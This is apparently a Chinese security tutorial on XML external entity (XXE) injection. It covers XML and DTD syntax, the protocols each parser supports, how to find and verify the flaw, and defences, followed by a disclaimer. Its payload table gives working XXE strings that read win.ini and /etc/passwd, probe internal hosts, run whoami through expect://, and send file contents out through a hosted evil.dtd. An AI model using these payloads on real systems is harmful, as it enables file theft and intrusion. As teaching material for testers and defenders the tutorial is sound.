2.5_XXE(XML外部实体注入)

XML简介


  1. XML:传输和存储数据的数据格式;

  2. XML 文档结构(组成):XML 声明,DTD 文档类型定义,ELEMENT 文档元素;

    <!-- XML声明 --> 
    <?xml version="1.0" standalone="no" ?>  <!--xml文档属性--> <!--standalone="yes" 表示内部DTD,no表示外部DTD(默认)-->
    
    <!-- DTD(文档类型定义):定义元素属性和顺序 --> <!--DOCTYPE 定义标签-->  <!--ELEMENT 定义元素--> <!--ENTITY 定义实体-->
    <!DOCTYPE person [           		<!--根元素(必须存在),自定义标签名(person)成对出现,且区分大小写-->
    <!ELEMENT person(name,age,country)> 	<!--声明person元素有3个元素-->
    <!ELEMENT name(#PCDATA)>		    <!--声明name为"#PCDATA"类型--> 	<!--"#PCDATA"类型可被解析-->
    <!ELEMENT age(#CDATA)>			    <!--声明age为"#CDATA"类型--> 	<!--"#CDATA"类型不可被解析-->
    <!ELEMENT country(#PCDATA)>		    <!--声明country为"#PCDATA"类型-->
    <!ELEMENT sss ANY>			    <!--ANY 表示可以包含任意元素-->
                        			    <!--重点: 参数实体 和 外部实体 (ENTITY)-->
    <!ENTITY % address SYSTEM "address.txt"><!--声明外部参数实体:声明实体内容在XML文档外--> <!--实体相当于常量,参数实体相当于变量-->
                                        	<!--外部[参数]实体格式:<!ENTITY [%] 实体名称 SYSTEM/PUBLIC "外部DTD的资源地址">-->
                       			    <!--例:<!ENTITY % remote SYSTEM "http://121.40.24.5:8000/evil.dtd"> -->
                       			
    <!ENTITY % name "小明">			    <!--声明内部参数实体:声明实体内容("小明")在XML文档中-->  
                        			    <!--内部[参数]实体格式:<!ENTITY [%] 实体名称  "实体值">--> 
    ]>  
    
    <!--文档元素-->
    <person>
    <name>&name;</name>
    <age>1</age>
    <country>China</country>
    <sss>
        <name>&name;</name>			<!--sss接收"小明"-->
    </sss>
    </person>
    
  3. 外部引用支持的协议(通用:file,ftp,http

    |------------------------------------------------------------------------------------------|----------------------------------------------------------------------|---------------------------------|------------------------|
    | PHP | JAVA | .NET | libxml2 |
    | 1. file 2. ftp 3. http 4. php 5. data 6. glob 7. phar 8. compress.zlib 9. compress.bzip2 | 1. file 2. ftp 3. http 4. jar 5. https 6. gopher 7. netdoc 8. mailto | 1. file 2. ftp 3. http 4. https | 1. file 2. ftp 3. http |

XXE简介


  1. XXE:外部实体注入漏洞。由于XML解析器允许外部实体的引用,导致攻击者可以对其进行攻击;

  2. 原理:XML解析器允许外部实体的引用;

  3. 危害(利用方式):

    1). 扫描内网端口(http);

    2). 攻击内网网站(http);

    3). 任意文件读取(file,php);

    4). 命令执行(expect);

  4. XXE 类型(分类)

    分类 利用方式
    有回显 直接利用即可 <?xml version = "1.0"?> <!DOCTYPE a [<!ENTITY b "XXE">]><c>&b;</c> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://192.168.1.1:80" >]> <root> <name>&xxe;</name> </root> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://192.168.1.2/admin" >]> <root> <name>&xxe;</name> </root> <?xml version="1.0"?> <!DOCTYPE a[ <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]> &xxe; <!DOCTYPE test [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd" >]> <root> <name>&xxe;</name> </root> <?xml version ="1.0"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "expect://whoami"> <x>&xxe;</x>
    无回显 通过 DNSlog 检测,http 日志外带; <?xml version="1.0"?> <!DOCTYPE a [ <!ENTITY % xxe SYSTEM "http://johmvd.dnslog.cn" > %xxe; ]> # VPS: # 启动服务:python -m SimpleHTTPServer 或 python -m http.server # 上传evil.dtd,文件内容: <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.1.1:8000?p=%file;'>"> # Brup payload: <!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://192.168.1.1:8000/evil.dtd"> %remote; %int; %send; ]>
  5. XXE防御方式:

    1). 禁用 外部实体(system,public);

    2). 过滤 用户输入;

    3). 升级 libxml 组件;

  6. 如何挖掘XXE漏洞:

    1).寻找能够识别 XML 语句的功能点,或是数据包类型是 application/xml 的;

    ①. 功能点提交的语句是 XML

    ②. 功能点提交的语句是 Json ,但改为 XML 后可用的 ;

  7. XXE验证方式:

    1). 首先,判断目标是否接收 XML 类型数据,如果是 JSON 数据类型,可以将数据改为 XML 数据格式;

    ①. 例: burp抓包中包含 :username=admin $ pass=123456;

    ②. 将其改为 <username>admin</username><pass>123456</pass>

    2). 其次,如果能够正常接收,则可以继续判断有无回显做进一步测试;

  8. XXE引用外部实体的关键字:system,public ;

  9. XXE利用的协议:fileftphttpphpdata等等;

免责声明


  1. 本专栏内容仅供参考,不构成任何投资、学习或专业建议。读者在参考本专栏内容时,应结合自身实际情况,谨慎作出决策。

  2. 本专栏作者及发布平台尽力确保内容的准确性和可靠性,但无法保证内容的绝对正确。对于因使用本专栏内容而导致的任何损失,作者及发布平台概不负责。

  3. 本专栏部分内容来源于网络,版权归原作者所有。如有侵权,请及时联系我们,我们将尽快予以处理。

  4. 读者在阅读本专栏内容时,应遵守相关法律法规,不得将内容用于非法用途。如因读者行为导致不良后果,作者及发布平台不承担任何责任。

  5. 本免责声明适用于本专栏所有内容,包括文字、图片、音频、视频等。读者在阅读本专栏内容时,视为已接受本免责声明。

  6. 作者及发布平台保留对本免责声明的解释权和修改权,如有变更,将第一时间在本专栏页面进行公告。读者继续使用本专栏内容,视为已同意变更后的免责声明。

敬请广大读者谅解。如有疑问,请联系我们。谢谢!

相关推荐
nnloveswc10 分钟前
PTE-中间件安全
安全
冰水°24 分钟前
3.1_文件上传漏洞
安全·网络安全·文件上传·条件竞争·.htaccess·文件上传绕过
ZJ_.1 小时前
Electron 沙盒模式与预加载脚本:保障桌面应用安全的关键机制
开发语言·前端·javascript·vue.js·安全·electron·node.js
Wh1teR0se2 小时前
[ACTF2020 新生赛]Upload 1--详细解析
web安全·网络安全
星海幻影2 小时前
网络基础-超文本协议与内外网划分(超长版)
服务器·网络·安全
烬奇小云2 小时前
认识一下Unicorn
android·python·安全·系统安全
Sweet_vinegar4 小时前
Wireshark
网络·测试工具·安全·wireshark·ctf·buuctf
23zhgjx-NanKon6 小时前
华为eNSP:RSTP
网络·安全·网络安全·华为
javachen__10 小时前
从美国大选,看软件安全风险与挑战
网络·安全·web安全